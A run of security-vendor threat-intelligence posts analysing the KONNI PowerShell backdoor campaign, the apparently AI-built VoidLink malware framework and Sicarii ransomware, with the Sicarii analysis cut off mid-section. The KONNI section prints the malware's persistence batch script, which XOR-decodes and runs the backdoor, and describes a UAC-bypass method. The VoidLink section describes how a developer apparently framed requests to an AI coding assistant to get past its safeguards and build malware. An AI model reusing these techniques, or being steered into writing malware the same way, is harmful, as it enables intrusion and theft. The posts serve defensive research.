Ransomware activity continued to increase in 2025, despite multiple law enforcement takedowns of high-profile groups.

Research findings show:

• A shift away from centralized ransomware brands toward smaller, decentralized operators
• Increased use of data-only extortion without encryption
• More personalized extortion tactics based on victim profiling
• Shorter attack and negotiation timelines supported by automation and AI

This evolution reflects a shift toward operational efficiency and decentralized execution.

Unmonitored Devices as High-Value Initial Access Targets

Unmonitored devices played a growing role in intrusion activity, particularly in large-scale and targeted attacks.

Observed trends include:

• Exploitation of routers, gateways, VPN appliances, and other perimeter devices
• Use of edge devices for persistent access and lateral movement
• Delayed detection due to limited monitoring and patching coverage
• Supply-chain and vendor ecosystem exposure amplifying risk

These devices often sit outside standard endpoint and identity security controls.

Cyber Activity Aligns More Closely With Geopolitical Conflicts

Threat activity in 2025 increasingly mirrored real-world geopolitical tensions, with cyber operations synchronized to physical and political events.

Key characteristics include:

• Coordination between cyber espionage, disruption, and influence campaigns
• Targeting of infrastructure and information systems linked to regional conflicts
• Use of compromised IoT and surveillance systems to support physical-world operations

This convergence complicates attribution, as activity may involve overlapping criminal and state-aligned characteristics.

Common Pattern: Speed, Scale, and Reduced Visibility

Across all major trends, researchers observed consistent patterns in attacker operations:

• Faster execution cycles
• Broader targeting with fewer resources
• Reduced reliance on custom tooling

Chinese-Nexus Cyber Threats

During 2025 the Chinese-nexus activity was global by design:

• Operations are industrialized, not opportunistic
• Edge and perimeter infrastructure as primary foothold
• Routine zero-day and rapid one-day weaponization

What Security Teams Are Seeing in Practice

Based on activity observed throughout 2025, researchers identified the following conditions present across multiple environments:

• Continuous exposure created by misconfigurations, identity weaknesses, and unmanaged assets
• Increased reliance on identity-based access paths in intrusion activity
• Measurable risk introduced by ungoverned AI usage
• Attack paths spanning cloud, edge, SaaS, and on-prem environments

Conclusion

The findings in the Cyber Security Report 2026 reflect sustained observation of real-world attacker behavior rather than isolated incidents or short-term trends. By correlating telemetry, vulnerability research, and active threat investigations across regions and sectors, the report documents how attacker behavior and infrastructure evolved during 2025.

As a long-running, data-driven research publication, the report is intended to support informed analysis, planning, and discussion across the security community, from practitioners and researchers to decision-makers responsible for managing risk in 2026 and beyond.

Read the Cyber Security Report 2026

Access the full report to explore the underlying data, research methodology, and detailed analysis behind these findings.

Download Now

The post Cyber Security Report 2026 appeared first on Check Point Research.

Key Findings:

• Check Point Research (CPR) is tracking a phishing campaign linked to a North Korea–aligned threat actor known as KONNI.
• This activity goes beyond KONNI’s typical focus areas, indicating broader targeting across the APAC region, including Japan, Australia, and India.
• The campaign targets software developers and engineering teams with expertise in, or access to, blockchain-related resources and infrastructure.
• The attackers deploy an AI-generated PowerShell backdoor, highlighting the growing use of AI by threat actors, including North Korean groups.

Introduction

Check Point Research (CPR) identified an ongoing phishing campaign that we associate with KONNI, a North Korean–linked threat actor active since at least 2014. KONNI is best known for targeting organizations and individuals in South Korea, with a focus on diplomatic channels, international relations, NGOs, academia, and government. The group typically relies on spear-phishing that delivers weaponized documents themed around geopolitical issues and activity on the Korean Peninsula.

In this publication, we describe a recent KONNI operation aimed at software developers and engineering teams. The attackers use lure content designed to look like legitimate project documentation, often tied to blockchain and crypto initiatives. This targeting suggests an intent to compromise targets with access to blockchain-related resources and infrastructure.

While the delivery and staging steps align with KONNI’s established tradecraft, the campaign shows signs of broader targeting across the APAC region, extending beyond the group’s usual focus areas. Another notable aspect of the campaign is its use of an AI-written PowerShell backdoor, reflecting the increasing adoption of AI-enabled tooling by threat actors, including North Korean–linked groups.

Targets and Lures

Historically, KONNI activity was focused on South Korea, with only occasional targets located outside the country. In this campaign, however, multiple samples were uploaded to VirusTotal by submitters associated with Japan, Australia, and India, pointing to a potential geographic expansion beyond the group’s typical operating areas.

The campaign appears to target engineering teams, with a clear emphasis on blockchain-related technologies. The lure documents are presented as legitimate project materials and include technical details such as architecture, technology stacks, development timelines, and in some cases, budgets and delivery milestones. This pattern suggests an intent to compromise development environments, thereby obtaining access to sensitive assets, including infrastructure, API credentials, wallet access, and ultimately cryptocurrency holdings.

While this blockchain and crypto focus is more commonly associated with other North Korean–linked actors, there are indications that KONNI also engaged in financially-motivated and crypto-related targeting in the past.

Figure 1 – Blockchain themed lures used in this campaign.

Infection Chain

The infection chain starts with a Discord-hosted link that downloads a ZIP archive via an unknown vector. The ZIP contains two files: a PDF lure document and a Windows shortcut (LNK) file. The LNK launches an embedded PowerShell loader which extracts two additional files: a DOCX lure document and a CAB archive, both embedded within the LNK and XOR-encoded using a single-byte key.

When executed, the LNK:

1. Writes the DOCX and CAB files to disk.
2. Opens the DOCX lure to distract the user.
3. Extracts the CAB archive, which contains:
   • PowerShell Backdoor
   • Two batch files
   • An executable used for UAC bypass
4. Executes the first batch file extracted from the CAB.

@echo off

    mkdir "C:\ProgramData\VljE"
    move "C:\ProgramData\zVJs.ps1" C:\ProgramData\VljE\
    move "C:\ProgramData\mKIftBn.bat" C:\ProgramData\VljE\
    schtasks /create /sc hourly /mo 1 /tn "OneDrive Startup Task-S-1-5-21-3315426051-1901789636-3309192473-4545" /tr "cmd /c powershell -w h $d=[IO.File]::ReadAllBytes(\\\"C:\ProgramData\VljE\zVJs.ps1\\\");$b=[Text.Encoding]::UTF8.GetBytes(\\\"Q\\\");for($i=0;$i -lt $d.Length;$i++){$d[$i]=$d[$i]-bxor$b[$i%%$b.Length]};$c=[Text.Encoding]::UTF8.GetString($d);iex $c" /rl limited /ru "%username%" /f
    timeout -t 3 /nobreak
    "C:\ProgramData\OneDriveUpdater.exe"
    del "%~f0"&exit /b

The first-stage batch script creates a new staging directory in C:\ProgramData, which is used to store the malicious components. The script then moves the PowerShell backdoor code and an additional batch file into this directory. To establish persistence, the script creates a scheduled task, disguised as a legitimate OneDrive startup task, configured to run hourly with the current user privilege. This task executes an inline PowerShell command that reads the encrypted PowerShell backdoor from disk, XOR-decrypts it using the single-byte key ‘Q’, and immediately executes the decoded script in memory. It then attempts to launch OneDriveUpdater.exe, which is not present in this infection chain and is a leftover artifact from a previous version. Finally, the batch script deletes itself from disk and exits, removing the initial execution artifact to reduce forensic visibility.

The PowerShell backdoor is heavily obfuscated using arithmetic-based character encoding. Each string is constructed by summing and subtracting numeric literals that resolve at runtime into individual ASCII characters. These decoded characters are concatenated into multiple variables, effectively acting as a string dictionary. The final stage dynamically reconstructs and executes the malicious logic using IEX (Invoke-Expression cmdlet), with substrings indexed from the previously built variables.

Figure 3 – Obfuscated PowerShell backdoor.

AI Usage

The PowerShell backdoor strongly indicates AI-assisted development rather than traditional operator-authored malware.

At first glance, the script has an unusually polished structure. It opens with clear, human-readable documentation describing the script’s functionality:

“This script ensures that only one instance of this UUID-based project runs at a time. It sends system info via HTTP GET every 13 minutes.”

This level of upfront documentation is atypical for commodity or APT-authored PowerShell implants. The script is further divided into well-defined logical sections, each handling a specific task, reflecting modern software engineering conventions rather than ad-hoc malware development.

Figure 4 – PowerShell Backdoor Documentation.

While clean structure and comments alone are not sufficient to attribute AI origins, the script contains a far more telling indicator. Embedded directly in the code is the comment:

“# <– your permanent project UUID”

This phrasing is highly characteristic of LLM-generated code, where the model explicitly instructs a human user on how to customize a placeholder value. Such comments are commonly observed in AI-produced scripts and tutorials.

The verbose documentation, modular layout, and instructional placeholder comments all strongly suggest that the PowerShell backdoor was generated using an AI system, marking a notable shift in KONNI APT’s tooling development.

PowerShell Backdoor analysis

The PowerShell backdoor begins execution with a series of anti-analysis and sandbox-evasion checks. These include validating that the host meets minimum hardware thresholds and actively scanning for the presence of analysis and monitoring tools such as IDA, Wireshark, Procmon, etc. In addition, the backdoor enforces user-interaction checks by monitoring mouse activity and requires a minimum number of clicks before continuing. If these conditions are not met, the script terminates immediately.

After these conditions are met, the backdoor enforces single-instance execution by creating a global mutex named Global\SysInfoProject_<projectUUID>. The project UUID is hardcoded and is identical across all analyzed samples in this campaign: f7d77a6d-36e0-4fcb-bae7-5f4b3b723f61. The backdoor then generates a host-specific identifier used for C2 (Command and Control) tracking. It fingerprints the system by querying WMI for the motherboard serial number and the system UUID. These values are concatenated and hashed using SHA-256, after which the resulting hexadecimal hash is truncated to the first 16 characters. To further differentiate infections and allow operators to distinguish victims across campaigns, a hardcoded campaign-specific string is appended to this identifier before transmission.

Figure 6 – Monitoring and analysis process blacklist.

Next, the malware evaluates its current privilege level and takes a different path for each result:

• User – The backdoor uses fodhelper UAC bypass to elevate privileges. This technique abuses the auto-elevated fodhelper.exe binary by modifying registry keys under HKCU\Software\Classes to redirect how Windows resolves the ms-settings protocol. In this case, it creates a custom handler in HKCU\Software\Classes\.thm\Shell\Open\command that points to an attacker-controlled executable and then sets HKCU\Software\Classes\ms-settings\CurVer to reference the .thm file type. When fodhelper.exe is launched, Windows follows this redirected resolution path causing fodhelper.exe to execute an attacker-controlled payload without triggering a UAC prompt. In this campaign, the elevated payload is rKXujm.exe, a small 32-bit utility whose sole purpose is to modify the registry keyHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemConsentPromptBehaviorAdmin to 0, effectively disabling UAC prompts for administrator accounts. After successfull execution, the flow continues to the Admin scenario.
• Admin – The backdoor performs cleanup of the previously dropped UAC bypass executable. The backdoor then adds a Windows Defender exclusion for C:\ProgramData and executes the second batch script extracted earlier in the infection chain. This script replaces the existing scheduled task with a new one configured to run with elevated privileges, ensuring persistent execution in a high-integrity context.
• System – The backdoor deploys SimpleHelp, a legitimate RMM (Remote Monitoring and Management) tool, suggesting operator intent to maintain long-term interactive access beyond the PowerShell backdoor.

Figure 7 – Privilege-Based Execution Flow.

As an initial step in C2 communication, the backdoor performs a JavaScript challenge emulation to obtain a required session cookie named __test from the server. The C2 endpoint is protected by a client-side AES-based gate intended to block non-browser traffic. Instead of using a browser, the backdoor downloads the same AES implementation used by the site, reconstructs the embedded JavaScript logic, decrypts the server-provided ciphertext, and extracts the expected token programmatically. This token is then used as a valid cookie in subsequent HTTP requests, allowing the backdoor to access the C2 infrastructure while bypassing basic anti-bot and non-browser filtering mechanisms. After authentication, the backdoor periodically sends host metadata, including the generated host ID, privilege level, local IPv4 address, and username, to a PHP-based C2 endpoint. Server responses are treated as tasking: if PowerShell code is returned, it is converted into a script block and executed asynchronously via background jobs. Command polling occurs at randomized intervals, and blacklist checks continue during runtime to terminate execution if analysis tools are detected.

Figure 8 – Post request sent to the C2 server.

Earlier Variants of the Infection Chain

Samples uploaded to VirusTotal in October 2025 reveal an earlier variant of the infection chain. In this variant, the initial payload is an obfuscated PowerShell script, with the same obfuscation method (arithmetic-based character encoding) that retrieves multiple secondary components from an attacker-controlled server. These include a mix of batch files, VBScript launchers, a PowerShell backdoor, and two PE files: uc.exe, the same executable discussed earlier for the UAC bypass, and OneDriveUpdater.exe. OneDriveUpdater, which was not present in the samples analyzed from the later campaign even though it was mentioned at the batch file, is a 64-bit PE file whose primary purpose is to download and execute a Simple Help client, which provides the attackers with interactive remote access.

Execution begins with start.vbs, which silently launches simi.bat. Similar to the primary batch file described in the later samples, simi.bat creates a dedicated subdirectory in C:\ProgramData and relocates the downloaded scripts there for staging. In addition to organizing the tooling, simi.bat executes OneDriveUpdater.exe and then launches schedule1.bat. This script establishes persistence by creating a scheduled task that periodically runs the PowerShell backdoor, in this case named OneDriveUpdate.ps1. While the execution flow is largely consistent with later samples, this earlier variant distributes its functionality across multiple scripts instead of combining it into a single batch file.

start.vbs initiates execution, simi.bat handles staging and payload execution, and schedule1.bat is responsible for persistence. The same modular structure applies to the other supporting scripts that are not explicitly described here.

Attribution

The tactics, techniques, and procedures (TTPs) observed in this campaign strongly align with those associated with North Korean actors, specifically activities tied to the KONNI APT cluster. The campaign is initiated by a weaponized LNK shortcut whose structure and execution logic closely matches KONNI’s attributed LNK launchers described in earlier reports, including a case where the lure filename directly overlaps with a previously reported KONNI artifact (Avinash_CV.lnk). The broader execution chain is likewise consistent with documented KONNI operations: a modular, multi-stage chain built around VBS and multiple BAT scripts, where each component performs a narrowly scoped role (staging, persistence, execution, and handoff to the next layer). Finally, earlier variants in this campaign reuse script names and code patterns that appeared in historical KONNI activity, such as start.vbs launching a follow-on batch file simi.bat, that reinforces our assessment that this activity is part of the KONNI toolset.

Figure 10 – start.vbs from December 2024 infection chain compared to start.vbs from October 2025 downloaded from the server.

Conclusion

This campaign highlights the evolution of the KONNI APT group. The delivery and staging remain aligned with previously documented KONNI tradecraft, including the use of weaponized LNK shortcuts and a modular, multi-stage execution chain built from narrowly scoped script components. These overlaps, together with the recurring naming conventions and execution logic seen in previous reports, these artifacts reinforce our attribution to the KONNI toolset.

At the same time, the targeting reflects a notable shift in behavior. The operation is built around blockchain-themed project materials and appears designed to reach software developers and engineering teams, pointing to an access-oriented objective. Instead of focusing on individual end-users, the campaign goal seems to be to establish a foothold in development environments, where compromise can provide broader downstream access across multiple projects and services.

Finally, this campaign is notable for its apparent use of an AI-written PowerShell backdoor. The introduction of AI-assisted tooling suggests an effort to accelerate development and standardize code while continuing to rely on proven delivery methods and social engineering. Combined with indicators suggesting activity beyond KONNI’s historically South Korean–centric footprint, this operation illustrates how a mature threat actor can maintain stable intrusion workflows while adapting both its targeting and tooling.

IOCs

Hashes:

ZIP

• c79ef37866b2dff0afb9ca07b4a7c381ba0b201341f969269971398b69ade5d5
• c040756802a217abf077b2f14effb1ed68e36165fde660fef8ff0cfa2856f25d
• f619d63aa8d09bafb13c812bf60f2b9189a8dc696c7cef2f246c6b223222e94c
• b411fbe03d429556ced09412dd26dc972ee55cff907bfdb5594fe9e3f1c9f0b2
• fcc9b2ac73a0ca01fb999e6aa1a8bdbd89e632939443bcc9186ae1294089123e

LNK

• 39fdff2ea1a5e2b6151eccc89ca6d2df33b64e09145768442cec93a578f1760c
• 26356e12aae0a2ab1fd0ec15d49208603d3dd1041d50a0b153ab577319797715
• a1d4272ec0ce88f9c697b3e6c70624ec5f1ad9a83c9e64120b5ee21688365af9
• 856ac810f4a00a7e3fa89aec4c94cc166ae6ccf06c3557e9694f8639223ce25d
• e57fa2d1d3e2bff9603ce052e51a8d6ee5c6d207633765b401399b136249ca35
• c94e58f134c26c3dc25f69e4da81d75cbf4b4235bcfb40b17754da5fe07aad0a
• 3b67217507e0c44bd7a4cfafed0e8958d21594c98eec43a999614815a7060410

CAB

• de75afa15029283154cf379bc9bb7459cbcd548ff9d11efe24eb2fde7552af07
• 8647209127d998774179aa889d2fcc664153d73557e2cca5f29c261c48dd8772

Scripts

• b958d4d6ce65d1c081800fc14e558c34daff3b28cdd45323d05b8d40c4146c3c
• b15f95d0f269bc1edce0e07635681d7dd478c0daa82c6bfd50c551435eba10ff
• c2ec24dea46273085daa82e83c1c38f3921c718a61f617a66e8b715d1dcc0f57
• fb9f16a8900bae93dd93b5d059a0d2997c1db7198acf731f3acf1696a19eeead
• c3c8d6ea686ad87ca2c6fcb5d76da582078779ed77c7544b4095ecd7616ba39d
• af8ca986a52e312fb85f97b235e4b406d665d7ac09cbdb5e25662d4c508ebad4
• ec8c191ad171cf40461dc870b02f5c4e9904f9fec1191174d524b1fb3cbde47f
• 738637fcb82920f418111c0cd83d74d9a0807972a73abfbdc71b7446e5bd6a9d
• 159f81fc57399186503190562f28b2dd430d8cc07303e15e2ec60aee6bca798c
• eec55e9a7f27f2ecaba71735fbd636679783ff60d9019eabf8216beebd47300b
• 20e61936144822399149e651da665eb67b16e90ec824dac3d9eec8a4da42fdd2
• 851695cb3807a693aae25c8b9ade20a90eaea6802bc619c1d19d121a92aef7a0
• 1ebc4542905c8d4fd8ac6f6d9fadeef51698e5916f6ce1bcc61dcfdea02758ec
• 48585baa9f1c2b721bb8c4fbd88eff65f8fa580a662aadcd143bc4fda6590156

Executable

• f8e86693916be2178b948418228d116a8f73c7856e11c1f4470b8c413268c6c8
• 64e6a852fc2e4d3e357222692eefbf445c2bd9ba654b83e64fe9913f2bb115cc
• 26a01ffa237241e31a59f1ff4d62a063f55c97598732d55855cce18b8b27b2d6

Domains & IPs:

• filetrasfer.wuaze[.]com
• goldenftp.rf[.]gd
• plaza.xo[.]je
• gabber.42web[.]io
• humimianserver.kesug[.]com
• drone.ct[.]ws
• 46.4.112[.]56
• 192.144.34[.]77
• 192.144.34[.]40
• 34.203.111[.]164
• 223.16.184[.]105

The post KONNI Adopts AI to Generate PowerShell Backdoors appeared first on Check Point Research.

Key Points

• Check Point Research (CPR) believes a new era of AI-generated malware has begun. VoidLink stands as the first evidently documented case of this era, as a truly advanced malware framework authored almost entirely by artificial intelligence, likely under the direction of a single individual.
• Until now, solid evidence of AI-generated malware has primarily been linked to inexperienced threat actors, as in the case of FunkSec, or to malware that largely mirrored the functionality of existing open-source malware tools. VoidLink is the first evidence based case that shows how dangerous AI can become in the hands of more capable malware developers.
• Operational security (OPSEC) failures by the VoidLink developer exposed development artifacts. These materials provide clear evidence that the malware was produced predominantly through AI-driven development, reaching a first functional implant in under a week.
• This case highlights the dangers of how AI can enable a single actor to plan, build, and iterate complex systems at a pace that previously required coordinated teams, ultimately normalizing high-complexity attacks, that previously would only originate from high-resource threat actors.
• From a methodology perspective, the actor used the model beyond coding, adopting an approach called Spec Driven Development (SDD), first tasking it to generate a structured, multi-team development plan with sprint schedules, specifications, and deliverables. That documentation was then repurposed as the execution blueprint, which the model likely followed to implement, iterate, and test the malware end-to-end.

Introduction

When we first encountered VoidLink, we were struck by its level of maturity, high functionality, efficient architecture, and flexible, dynamic operating model. Employing technologies like eBPF and LKM rootkits and dedicated modules for cloud enumeration and post-exploitation in container environments, this unusual piece of malware seemed to be a larger development effort by an advanced actor. As we continued tracking it, we watched it evolve in near real time, rapidly transforming from what appeared to be a functional development build into a comprehensive, modular framework. Over time, additional components were introduced, command-and-control infrastructure was established, and the project accelerated toward a full-fledged operational platform.

In parallel, we monitored the actor’s supporting infrastructure and identified multiple operational security (OPSEC) failures. These missteps exposed substantial portions of VoidLink’s internal materials, including documentation, source code, and project components. The leaks also contained detailed planning artifacts: sprints, design ideas, and timelines for three distinct internal “teams,” spanning more than 30 weeks of planned development. At face value, this level of structure suggested a well-resourced organization investing heavily in engineering and operationalization.

However, the sprint timeline did not align with our observations. We had directly witnessed the malware’s capabilities expanding far faster than the documentation implied. Deeper investigation revealed clear artifacts indicating that the development plan itself was generated and orchestrated by an AI model and that it was likely used as the blueprint to build, execute, and test the framework. Because AI-produced documentation is typically thorough, many of these artifacts were timestamped and unusually revealing. They show how, in less than a week, a single individual likely drove VoidLink from concept to a working, evolving reality.

As this narrative comes into focus, it turns long-discussed concerns about AI-enabled malware from theory into practice. VoidLink, implemented to a notably high engineering standard, demonstrates how rapidly sophisticated offensive capability can be produced, and how dangerous AI becomes when placed in the wrong hands.

AI-Crafted Malware: Creation and Methodology

The general approach to developing VoidLink can be described as Spec Driven Development (SDD). In this workflow, a developer begins by specifying what they’re building, then creates a plan, breaks that plan into tasks, and only then allows an agent to implement it.

Artifacts from VoidLink’s development environment suggest that the developer followed a similar pattern: first defining the project based on general guidelines and an existing codebase, then having the AI translate those guidelines into an architecture and build a plan across three separate teams, paired with strict coding guidelines and constraints, and only afterward running the agent to execute the implementation.

Project Initialization

VoidLink’s development likely began in late November 2025, when its developer turned to TRAE SOLO, an AI assistant embedded in TRAE, an AI-centric IDE. While we do not have access to the full conversation history, TRAE automatically produces helper files that preserve key portions of the original guidance provided to the model. Those TRAE-generated files appear to have been copied alongside the source code to the threat actor’s server, and later surfaced due to an exposed open directory. This leakage gave us unusually direct visibility into the project’s earliest directives.

In this case, TRAE generated a Chinese-language instruction document. These directives offer a rare window into VoidLink’s early-stage planning and the baseline requirements that set the project in motion. The document is structured as a series of key points:

Chinese	English	Description
目标	Objective	Explicitly instructs the model not to implement code or provide technical details related to adversarial techniques, likely an attempt to navigate or bypass initial model safety constraints (”jailbreak”).
资料获取	Material acquisition	Directs the model to reference an existing file named c2架构.txt (C2 Architecture), which likely contained the seed architecture and design concepts for the C2 platform.
架构梳理	Architecture breakdown	Takes the initial input and decomposes it into discrete components required to build a functional and robust framework.
风险与合规评估	Risk and compliance	Frames the work in terms of legal boundaries and compliance, likely used as a credibility layer and/or an additional attempt to steer the model toward permissive responses.
代码仓库映射	Code repository mapping	Suggests VoidLink was bootstrapped from an existing minimal codebase provided to the model as a starting point, but subsequently rewritten end-to-end.
交付输出	Deliverables	Requests a consolidated output package: an architecture summary, a risk/compliance overview, and a technical roadmap to convert the concept into an operational framework.
下一步	Next Steps	A confirmation from the agent that, once the TXT file is provided, it will proceed to extract it and deliver the relevant information.

This summary of the developer’s initial exchange with the agent suggests the opening directive was not to build VoidLink directly, but to design it around a thin skeleton and produce a concrete execution plan to turn it into a working platform. It remains unclear whether this approach was purely pragmatic, intended to make the process more efficient, or a deliberate “jailbreak” strategy to navigate guardrails early and enable full end-to-end malware development later.

Project Specifications

Beyond the TRAE-generated prompt document, we also uncovered an unusually extensive body of internal planning material: a comprehensive work plan spanning three development teams. Written in Chinese and saved as Markdown (MD) files, the documentation bears all the hallmarks of a Large Language Model (LLM): highly structured, consistently formatted, and exceptionally detailed. Some appear to have been generated as a direct output of the planning request described above.

These documents are laid out in various folders and include sprint schedules, feature breakdowns, coding guidelines, and others, with clear ownership by teams:

Chinese Name	English Translation	Purpose
开发计划/	Development Plans	Sprint schedules, task lists, progress tracking
设计文档/	Design Documents	Architecture, module design, protocol specs
规范文档/	Standards/Specs	Coding standards, interface specs, best practices
技术方案/	Technical Solutions	Implementation approaches, technical deep-dives
技术研究/	Technical Research	eBPF research, network analysis, experimental designs
分析报告/	Analysis Reports	Architecture assessment, functionality comparison
进度报告/	Progress Reports	Weekly/milestone status updates
部署指南/	Deployment Guides	Quick-start, production deployment instructions
问题分析/	Problem Analysis	Bug reports, issue tracking, fix summaries
测试报告/	Test Reports	Test results, validation reports
协议/	Protocols	OpCode registry, message formats

The earliest of these documents, timestamped to November 27th, 2025, describes a 20-week sprint plan across three teams: a Core Team (Zig), an Arsenal Team (C), and a Backend Team (Go). The plan is strikingly specific, referencing additional companion files intended to document each sprint in depth. Notably, the initial roadmap also includes a dedicated set of standardization files, prescribing explicit coding conventions and implementation guidelines, effectively a rulebook for how the codebase should be written and maintained.

Translated development plan for three teams: Core, Arsenal and Backend.

A review of the code standardization instructions against the recovered VoidLink source code shows a striking level of alignment. Conventions, structure, and implementation patterns match so closely that it leaves little room for doubt: the codebase was written to those exact instructions.

Code headers as described in the specifications (Left) compared to actual source code (Right)

The source itself, apparently developed according to the documented sprints and coding guidelines, was presented as a 30-week engineering effort, yet appears to have been executed in a dramatically shorter timeframe. One recovered test artifact, timestamped to December 4, a mere week after the project began, indicates that by that date, VoidLink was already functional and had grown to more than 88,000 lines of code. At this point in time, a compiled version of it was already submitted to VirusTotal, marking the beginning of our research.

VoidLink report showing lines of code (Added translations in parentheses)

Generating VoidLink from Scratch

With access to the documentation and specifications of VoidLink and its various sprints, we replicated the workflow using the same TRAE IDE that the developer used (although any frontend for agentic models would work). While TRAE SOLO is only available as a paid product, the regular IDE is sufficient here, as the documentation and design are already available, and the design step can be skipped.

When given the task of implementing the framework described according to the specification in the markdown documentation files sprint by sprint, the model slowly began to generate code that resembled the actual source code of VoidLink in structure and content.

Source tree after the second sprint

By implementing each sprint according to the specified code guidelines, feature lists, and acceptance criteria, and writing tests to validate those, the model quickly implemented the requested code. While the chosen model still influences code quality and overall coding style, the detailed and precise documentation ensures a comparatively high level of reproducibility, as the model has less room for interpretation and strict testing criteria to validate each feature.

Implementing sprint 1 according to the documentation and requirements

The usage of sprints is a helpful pattern for AI code engineering because at the end of each sprint, the developer has a point where code is working and can be committed to a version control repository, which can then act as the restore point if the AI messes up in a later sprint. The developer can then do additional manual testing, refine the specs and documentation, and plan the next sprint. This emulates a lightning-fast SCRUM software engineering team, where the developer acts as the product owner.

Sprint completion log

While testing, integration, and specification refinements are left to the developer, this workflow can offload almost all coding tasks to the model. This results in the rapid development we observed, resembling the efforts of multiple teams of professionals in the pre-agentic-AI era.

Conclusion

Within the rapid advancement of AI technologies, the security community has long anticipated that AI would be a force multiplier for malicious actors. Until now, however, the clearest evidence of AI-driven activity has largely surfaced in lower-sophistication operations, often tied to less experienced threat actors, and has not meaningfully raised the risk beyond regular attacks. VoidLink shifts that baseline: its level of sophistication shows that when AI is in the hands of capable developers, it can materially amplify both the speed and the scale at which serious offensive capability can be produced.

While not a fully AI-orchestrated attack, VoidLink demonstrates that the long-awaited era of sophisticated AI-generated malware has likely begun. In the hands of individual experienced threat actors or malware developers, AI can build sophisticated, stealthy, and stable malware frameworks that resemble those created by sophisticated and experienced threat groups.

Our investigation into VoidLink leaves many open questions, one of them deeply unsettling. We only uncovered its true development story because we had a rare glimpse into the developer’s environment, a visibility we almost never get. Which begs the question: how many other sophisticated malware frameworks out there were built using AI, but left no artifacts to tell?

Additional Credit

We want to acknowledge @huairenWRLD for collaboration, who, following our initial blog post, also investigated VoidLink.

The post VoidLink: Evidence That the Era of Advanced AI-Generated Malware Has Begun appeared first on Check Point Research.

Key findings

• Sicarii is a newly observed RaaS operation that surfaced in late 2025 and has only published 1 claimed victim.
• The group explicitly brands itself as Israeli/Jewish, using Hebrew language, historical symbols, and extremist right-wing ideological references not usually seen in financially-motivated ransomware operations.
• Underground online activity associated with Sicarii is primarily conducted in Russian, including RaaS recruitment posts and forum engagement.
• Hebrew content used by the group appears to be machine-translated or non-native and contains grammatical and semantic errors.
• The group’s behavior and messaging diverge from established ransomware practices and raise the possibility of identity manipulation or influence-oriented signaling, rather than a real and mature criminal operation.
• The ransomware performs an active geo-fencing check to prevent execution on Israeli systems, an unusual design choice that weakens plausible deniability.
• The ransomware’s technical capabilities include data exfiltration, collecting system credentials and network information, check exploitation for Fortinet devices, and encrypt files using AES-GCM and the .sicarii extension.

Introduction

In December 2025, a previously unknown Ransomware-as-a-Service (RaaS) operation calling itself Sicarii began advertising its services across multiple underground platforms. The group’s name references the Sicarii, a 1st-century Jewish assassins group that opposed Roman rule in Judea. From its initial appearance, the Sicarii ransomware group distinguished itself through unusually explicit and persistent use of Israeli and Jewish symbolism in its branding, communications, and malware logic.

Figure 1 – Sicarii Ransomware logo featuring the phrase “The Sicarii Knife” in Hebrew text with the symbol of the Haganah (predecessor to the Israel Defense Forces).

Unlike most financially-motivated ransomware groups, Sicarii overtly claims Israeli or Jewish affiliation. Its visual branding incorporates Hebrew text and the emblem of the historical Jewish paramilitary organization Haganah, while its ransomware selectively avoids executing on systems identified as Israeli. The group further claims ideological motivation rooted in extremist Jewish groups, while simultaneously marketing the operation as profit-driven and offering financial incentives for attacks against Arab or Muslim states.

In this report, Check Point Research (CPR) examines Sicarii’s background and capabilities, outlines its technical characteristics, and highlights a series of anomalies and inconsistencies that complicate attribution and clear understanding who is behind this group. These indicators raise questions regarding the authenticity of the group’s claimed identity and suggest the possibility of performative or false-flag behavior rather than genuine national or ideological alignment.

Technical analysis

While the exact initial access path is still unclear, communications with the group suggest the operator is likely purchasing access to the targeted organizations and not necessarily exploiting them directly.

The ransomware execution begins with an Anti-VM phase that tries to determine whether the malware is running in a real victim environment or inside a sandbox. It performs several environment checks, including virtualization detection. If it concludes it is executing inside a VM, it stops early and displays a decoy MessageBox error: "DirectX failed to initialize memory during runtime, exiting". Next, it enforces single-instance execution by creating a mutex and exiting if the mutex already exists. The ransomware then copies itself to the Temp directory with a random name in the format svchost_{random}.exe

The ransomware tests for Internet connection by attempting to contact the following url 120 times: google.com/generate_204

After checking connectivity, the ransomware determines if the victim is Israeli by checking:

• Is the time zone set to Israel
• Does the keyboard layout include Hebrew
• Do any adapter IPs belongs to Israeli subnets

After establishing its execution context, the ransomware disables SafeBoot options and initiates broad collection of high-value data and files with predefined extensions list from Documents\Downloads\Desktop\VIdeos\Pictures\Music. While this activity supports double extortion, the harvested information may also be leveraged for lateral movement or follow-up attacks. The malware collects registry hives, system credentials, browser data, and some application data from platforms including Discord, Slack, Roblox, Telegram, Office, WhatsApp, Atomic Wallet and more. In addition, it attempts to dump LSASS to obtain further credentials. All collected data is packaged into a ZIP archive named collected_data.zip and exfiltrated to an external service via file.io.

Next, the malware performs network reconnaissance to better understand the victim’s environment. The malware enumerates the local network configuration, maps nearby hosts via ARP requests, and actively probes discovered systems. As part of this process, it scans for exposed RDP services and attempts to exploit Fortinet devices using CVE-2025-64446.

To maintain persistence, the malware uses several different mechanisms, favoring redundancy:

• Registry Run key
• Creating a service named WinDefender
• Creating a new user SysAdmin with password Password123!
• Creating a new AWS user, without any check if AWS is installed:

Next, the malware checks if AV and VPN products are running. If so, it terminates their processes and sends to the C2 server the link to file.io which contains exfiltrated data file and victim information:

Finally, after finishing reconnaissance, privilege handling, and data collection stages, the ransomware moves into the main impact phase: encryption. It iterates through common user directories such as Documents, Desktop, Music, Downloads, Pictures and Videos, and encrypts files in place using the BCryptEncrypt API. The .sicarii extension is appended to each encrypted file name:

• The algorithm used is AES-GCM (256-bit key) via BCryptOpenAlgorithmProvider("AES", ..., "ChainingModeGCM").
• A unique random AES key is used for each file and the encryption parameters (nonce and tag) are stored in an XOR-0xAA-encoded header.
• The encrypted file is named <original_name>.sicarii and contains only a custom header plus ciphertext.
• The original unencrypted file is deleted.

The ransomware drops its ransom note:

As a final pressure mechanism, the malware deploys a destructive component intended to hinder system recovery and prolong operational downtime. The ransomware drops a destruct.bat script and registers it to execute at system startup. When triggered, the script corrupts critical bootloader files, leverages built-in Windows utilities such as cipher and diskpart to perform disk-wiping operations, and ultimately forces an immediate system shutdown.

Intelligence Findings & Anomalies

Telegram Presence

The primary Sicarii operator uses the Telegram account @Skibcum, operating under the display name “Threat.” According to our analysis, the account was registered in November 2025, shortly before Sicarii’s initial appearance in underground forums and RaaS advertisements. This timing aligns closely with the group’s emergence and suggests the account was created specifically for this operation rather than part of a long-standing criminal persona.

